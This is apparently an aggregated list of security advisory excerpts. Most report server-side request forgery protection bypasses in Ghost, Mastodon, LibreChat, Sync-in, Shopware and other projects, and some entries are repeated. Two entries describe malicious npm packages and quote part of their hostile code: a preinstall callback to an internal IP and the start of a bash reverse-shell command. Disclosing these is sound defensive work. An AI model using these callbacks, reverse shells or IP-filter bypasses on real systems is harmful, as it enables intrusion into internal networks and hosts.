BIT-GHOST-2026-53944 Ghost: Private IP filtering bypass to make server-side requests to internal services

Ghost is a Node.js content management system. From 6.0.9 until 6.21.1, when making an external request, it is possible to bypass the IP filter that ensures the request isn't going to an internal service using an IPv6 literal which maps to a private IPv4 address. This vulnerability is fixed in...

CVE-2026-54033 LibreChat: SSRF via User-Provided Custom Endpoint baseURL — no private IP validation on user-configured API base URLs

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.4-rc1, LibreChat allows users to configure custom OpenAI-compatible API endpoints by setting a baseURL. This URL is used to construct HTTP requests without any SSRF validation — no private IP check, no scheme...

CVE-2026-47389

Mastodon is a free, open-source social network server based on ActivityPub. Prior to 4.5.10, 4.4.17, and 4.3.23, when using Ruby versions older than 3.4, PrivateAddressCheck.privateaddress? returns false for IPv4-mapped IPv6 addresses ::ffff:a.b.c.d corresponding to some private IPv4 addresses,...

CVE-2026-47389 Mastodon: SSRF protection bypass on older Ruby versions

Mastodon is a free, open-source social network server based on ActivityPub. Prior to 4.5.10, 4.4.17, and 4.3.23, when using Ruby versions older than 3.4, PrivateAddressCheck.privateaddress? returns false for IPv4-mapped IPv6 addresses ::ffff:a.b.c.d corresponding to some private IPv4 addresses,...

CVE-2026-47389

Mastodon is a free, open-source social network server based on ActivityPub. Prior to 4.5.10, 4.4.17, and 4.3.23, when using Ruby versions older than 3.4, PrivateAddressCheck.privateaddress? returns false for IPv4-mapped IPv6 addresses ::ffff:a.b.c.d corresponding to some private IPv4 addresses,...

CVE-2026-47389

Mastodon vulnerability CVE-2026-47389 affects older Ruby runtimes (

CVE-2026-53944

Ghost is a Node.js content management system. From 6.0.9 until 6.21.1, when making an external request, it is possible to bypass the IP filter that ensures the request isn't going to an internal service using an IPv6 literal which maps to a private IPv4 address. This vulnerability is fixed in...

CVE-2026-53945

Ghost is a Node.js content management system. From 6.0.9 until 6.21.1, Ghost’s private-IP check for outbound HTTP requests could be bypassed via DNS rebinding, allowing an attacker to coerce the Ghost server into reaching hosts on internal networks through features that issue external fetches. Th...

PT-2026-52069

Name of the Vulnerable Software and Affected Versions Ghost versions 6.0.9 through 6.21.0 Description Ghost is a Node.js content management system. A flaw in the private-IP check for outbound HTTP requests allows a bypass via DNS rebinding. DNS rebinding is a technique that tricks a browser or...

CVE-2026-47684

Sync-in Server is a secure, open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.3.0, the private IP blocklist regex used in the URL download feature does not match IPv4-mapped IPv6 addresses e.g. ::ffff:127.0.0.1, allowing SSRF protection to be bypassed ...

Malicious code in ect-839201 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0ac6cc7433a67e0087dfa415071c9338be630c2166cd38ac371afadbdd0161e3 package.json declares a preinstall lifecycle hook that runs node -e "require'http'.get'http://10.107.121.85:8001/callback839201'" on npm install. Thi...

CVE-2026-53782

Summarize before 0.17.0 contains a server-side request forgery vulnerability that allows attackers who control a podcast RSS feed to direct the host to fetch transcript content from loopback addresses, link-local addresses, RFC 1918 private ranges, or other reserved destinations by supplying...

MAL-2026-5613 Malicious code in internallib_v346 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16f3f2c0990e02417fdf7012e6531393e81f786bb16019d0efdb03c049817f90 Package name targets an internal-only namespace and ships a reverse-shell payload. index.js line 5 unconditionally invokes exec'/bin/bash -c "bash -i...

Summarize 代码问题漏洞

Summarize is a multi-source rapid summarization tool developed by Peter Steinberger. Versions of Summarize prior to 0.17.0 contained code vulnerabilities. These vulnerabilities were caused by server-side request forgeing attacks. Attackers could exploit these vulnerabilities by providing maliciou...

Sync-in Server: SSRF protection bypass via IPv4-mapped IPv6 addresses in regExpPrivateIP

Summary: The private IP blocklist regex used in the URL download feature does not match IPv4-mapped IPv6 addresses e.g. ::ffff:127.0.0.1, allowing SSRF protection to be bypassed on dual-stack systems. Affected components backend/src/applications/files/services/files-manager.service.ts –...

GHSA-GQ96-5PFX-F4VC Shopware: SSRF in Media External-Link Endpoint Bypasses IP Validation

Summary The /api/action/media/external-link endpoint allows authenticated admin users to make server-side HTTP HEAD requests to arbitrary internal IP addresses. While the parallel uploadFromURL flow validates target IPs against private/reserved ranges via FileUrlValidator, the linkURL flow only...

CVE-2026-49138

Nanobot prior to version 0.2.1 contains a server-side request forgery vulnerability in the webfetch tool that allows remote attackers to reach internal or private network hosts by supplying a URL that redirects to a loopback or private address via a 3xx Location header. Attackers can exploit the...

PT-2026-45067

Summary CC-Tweaked's HTTP API http.request, http.websocket blocks requests to private network ranges to prevent server-side request forgery SSRF. This protection can be bypassed on IPv6-capable servers using NAT64 well-known prefix addresses 64:ff9b::/96. An attacker who can execute Lua code can...

CVE-2026-46561

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the PREREQFUNCTION-based private IP check was not applied to HTTPRequest used by the parseurls API. An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with...

CVE-2026-45373 CodeWhale: SSRF‌ IPV6 bypass

CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, although SSRF is validated against hostnames that resolve to private IPv6 addresses, when providing the IPV6 in‌‌ URL‌ as http://::1, the SSRF defenses do not work. This vulnerability is fixed in 0.8.26...